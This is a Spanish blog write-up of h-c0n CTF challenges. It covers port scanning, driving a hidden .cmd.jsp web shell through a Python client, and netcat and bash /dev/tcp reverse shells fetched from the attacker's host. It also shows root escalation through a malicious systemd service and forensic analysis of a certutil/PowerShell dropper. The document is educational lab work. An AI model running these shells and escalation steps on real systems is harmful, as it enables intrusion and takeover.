Durante la semana pasada se ha jugado el CTF de la h-c0n el cual ha diseñado ihacklabs.
Durante estos días subiremos una serie de posts resolviendo los retos.
Solo queda agradecer a iHacklabs y Hackplayers por organizarlo, os recomiendo que participareis el año que viene!
Austrinus – Acceso Básico
Como siempre, lo primero sera un escaneo de puertos con nmap:
nmap -sC -sV 10.14.0.152
Como veis podemos acceder al ftp anónimamente, vamos a ver si hay algún fichero que nos permita vulnerar el sistema:
Como veis parece que el ftp está alojado en la misma dirección que el servidor web, además nos llama la atención el fichero oculto .cmd.jsp
No nos deja descargarlo pero vamos a tratar de utilizarlo a través del navegador para ejecutar comandos. Nos da error, así para hacerlo funcionar vamos a fuzzear parámetros y usaremos GET y POST. Vamos a utilizar el Intruder de Burpsuite para esta labor:
Como veis, podremos ejecutar comandos a través del .cmd.jsp haciendo POST requests con el parámetro cmd.
Vamos a crearnos un pequeño script de python para agilizar este proceso:
#!/usr/bin/python3 import requests import re params = {'cmd':''} while 1: command = input("> ") params['cmd']=command r = requests.post("http://10.14.0.152:8080/.cmd.jsp", data=params) m = re.search('<BR>(.*?)</pre>',r.text,re.DOTALL) print (m.group(1))
Ejecutar la reversa directamente no funcionaba, así que vamos a subirnos un fichero y ejecutarlo.
# En nuestra máquina echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.14.0.228 2214 >/tmp/f' > rev.sh http-server -p 80 nc -lvp 2214
# En el servidor, usando el python wget http://10.14.0.228/rev.sh -O /tmp/rev.sh chmod +x /tmp/rev.sh bash /tmp/rev.sh
Ya podemos leer el flag.
Austrinus – Acceso Admin
Siguiendo cualquier guía de post-explotación, uno de los pasos es ver qué ficheros podemos ejecutar como otro usuario; para esto se utiliza el comando sudo -l
Como veis, el usuario tomcat puede ejecutar como root el comando /sbin/shutdown
Además vemos que dicho binario apunta a /bin/systemctl lo cual no es raro. Otro paso común, como vimos en la primera maquina de este ctf, es revisar los binarios con el bit Setuid activo:
Como veis el binario /bin/systemctl se ejecutará como root, ¿se os ocurre algo?
Tenemos permisos de escritura en /etc/systemd/system/ así que vamos crearnos un servicio malicioso que ejecute una shell reversa:
mal.service:
[Unit] Description=Mal Daemon [Service] ExecStart=/tmp/qwerty.sh [Install] WantedBy=multi-user.target
qwerty.sh:
#!/bin/bash bash -i >& /dev/tcp/10.14.0.231/8080 0>&1
# En nuestra máquina: http-server -p 80 nc -lvp 8080
# En la máquina wget http://10.14.0.228/mal.service -O /etc/systemd/system/mal.service wget http://10.14.0.228/qwerty.sh -O /tmp/qwerty.sh chmod +x /tmp/qwerty.sh systemctl enable mal systemctl start mal
Como veis ya somos root y acceder al reto de forense.
Austrinus – Forense
Enunciado: Necesitamos conocer la URL completa desde donde se produce la exfiltración.
Se nos entrega el fichero acquired_evidence.dd
Tratemos de ver qué tipo fichero se nos ha entregado:
En el editor hexadecimal se ve que es un registro MFT (Master File Table)
https://aprendizdesysadmin.com/analisis-forense-en-windows-sistema-de-archivos-ntfs/
Vamos a tratar de extraer los ficheros usando la herramienta Mft2Csv
Seleccionamos el fichero mediante ‘Choose $MFT’, marcamos ‘Extract Resident’ y le damos a ‘Start Processing’
Tras la ejecución, obtenemos un montón de ficheros:
Tras revisarlos, encontramos un fichero que parece interesante 27.bat :
@echo off cd %temp% certutil -decodehex 1.txt 2.ps1 powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "./2.ps1" del 2.ps1 del 1.txt
El script pasa de hexadecimal a ascii el contenido del fichero 1.txt y lo introduce en 2.ps1 para posteriormente ejecutarlo; vamos a buscar el fichero 1.txt y obtener su contenido:
#hex2ascii.py f = open('[0x00000000][DEL]1.txt','r') print f.read().decode('hex')
Como veis hemos obtenido una url que es la flag: http://201.27.34.21/uploader.php
Me ha encantado. El contenido es de buenísima calidad. Muy recomendado 🙂